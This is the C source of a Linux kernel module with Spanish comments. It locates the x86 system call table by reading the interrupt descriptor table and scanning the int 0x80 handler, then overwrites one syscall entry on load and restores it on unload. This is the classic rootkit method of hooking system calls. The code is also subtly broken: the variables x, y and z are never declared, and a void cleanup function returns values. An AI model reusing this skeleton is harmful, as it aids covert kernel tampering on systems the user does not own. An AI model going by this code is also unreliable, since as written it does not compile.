#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/unistd.h>
#include <linux/dirent.h>

#define CALLOFF 500

static struct {
        unsigned short limit;
        unsigned int base;
} __attribute__ ((packed)) idtr;

static struct {
        unsigned short off1;
        unsigned short sel;
        unsigned char none,flags;
        unsigned short off2;
} __attribute__ ((packed)) idt;


static void * get_sys_call_table(void);

static void *get_sys_call_table(void)
{
    int i;
    unsigned char * system_call_adr;

    __asm__ ("sidt %0" : "=m" (idtr));	
    memcpy((void *)&idt,(void *)idtr.base+8*0x80,sizeof(idt)); 
    system_call_adr = (char *) ( (idt.off2 << 16) | idt.off1 ); 
    for(i = 0; i < CALLOFF; i++)
    {
        if((system_call_adr[0+i] == 0xff) && (system_call_adr[1+i] == 0x14) && (system_call_adr[2+i] == 0x85)) 
        {
        return  (void *)( *((unsigned int *)(system_call_adr+i+3)) ); 
        }
    }
    return NULL;
}

int init_module(void)
{
    void *sys_call_table;
    if( (sys_call_table = get_sys_call_table()) == NULL)
    {
        printk("Error ... \n");
        return 1;
    }
    else 
    {
	/* Intercambio de la funcionalidad entre llamadas al sistema */
	x = ((long *)sys_call_table)[z];
	((long *)sys_call_table)[z] = y;
        return 0;
    }
}

void cleanup_module(void)
{
    void *sys_call_table;

    if( (sys_call_table = get_sys_call_table()) == NULL)
    {
        printk("Error ...\n");
        return 1;
    }
    else 
    {
	/* Restauracion de la funcionalidad */
	((long *)sys_call_table)[z] = x;
        return 0;
    }
}
MODULE_LICENSE("GPL");